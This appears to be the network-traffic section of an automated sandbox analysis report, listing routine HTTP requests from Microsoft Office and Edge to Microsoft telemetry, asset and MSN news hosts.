Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730825975&P2=404&P3=2&P4=dQKTE89WUQh2U2FfKn%2bCqe%2b1siJuXeDAo%2f1LArgtY4yu1aAFKQA9gXL7jQkzucYNFiiOt5MjBLZ%2fLE7iyRpTtw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: F+rCsUPXAsCmVMb+93KhLDSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=359F0A28F1DB656E0F951F0FF08C6410&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=7a7defad4a344face5214d274872417f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=359F0A28F1DB656E0F951F0FF08C6410; _EDGE_S=F=1&SID=264C6E6B016A67AC30677B4C008B6685; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msMCf.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730221183264&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=359F0A28F1DB656E0F951F0FF08C6410&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730221183263&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5649141f81424af2950f2557903650e3&activityId=5649141f81424af2950f2557903650e3&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=359F0A28F1DB656E0F951F0FF08C6410; _EDGE_S=F=1&SID=264C6E6B016A67AC30677B4C008B6685; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
